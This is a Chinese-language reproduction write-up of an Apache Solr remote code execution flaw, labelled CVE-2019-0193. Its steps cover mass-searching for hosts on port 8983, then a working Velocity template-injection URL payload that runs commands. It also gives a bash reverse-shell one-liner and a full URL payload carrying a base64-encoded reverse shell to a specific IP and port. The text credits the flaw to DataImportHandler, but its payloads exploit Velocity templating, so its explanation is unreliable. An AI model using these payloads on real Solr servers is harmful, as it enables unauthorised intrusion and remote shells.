一.漏洞描述
近日,Apache官方發布Apache Solr遠程代碼執行漏洞(CVE-2019-0193)安全通告,此漏洞存在于可選模塊DataImportHandler 中,DataImportHandler是用于從數據庫或其他源提取數據的常用模塊,該模塊中所有DIH配置都可以通過外部請求的dataConfig參 數來設置,由于DIH配置可以包含腳本,因此該參數存在安全隱患。攻擊者可利用dataConfig參數構造惡意請求,實現遠程代碼執行,請相關用戶盡快升級Solr至安全版本,以確保對此漏洞的有效防護。
二.復現操作
1.批量搜一下開了8983端口的主機

2.訪問目標主機,找到漏洞的位置,點到 core selector那個按鈕,burp抓包攔截


3.發送到repeater,把上圖請求的admin 改為item(這里注意對應的模塊),后面再加config 查看是否有其配置文件,如果沒有配置文件,,則說明可能目標不存在這種漏洞,這也是一種檢測方式?

4.因為該漏洞所影響的模塊可以利用外部的請求來修改,所以利用惡意的請求payload去修改配置,修改了配置過后,就導致可以執行惡意的腳本,從而發起帶有惡意代碼的請求。

5.修改了配置過后,便可以帶上惡意腳本的請求去發起訪問了,從而導致了遠程代碼執行,請求路徑內容如下圖payload:select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27JAVA.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27pwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end?

6.遠程代碼執行成功
7.反彈shell payload:
linux 反彈shell命令 bash -i >& /dev/tcp/ip/port 0>&1 (至于payload中為什么要base64編碼不太清楚...)
http://ip 8983/solr/item/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMS4yMDMuMi4yMTgvMTIzNCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
三.漏洞特征
端口:8983,http
路徑:/solr/item/config
四.影響范圍
受影響版本 :
Apache Solr < 8.2.0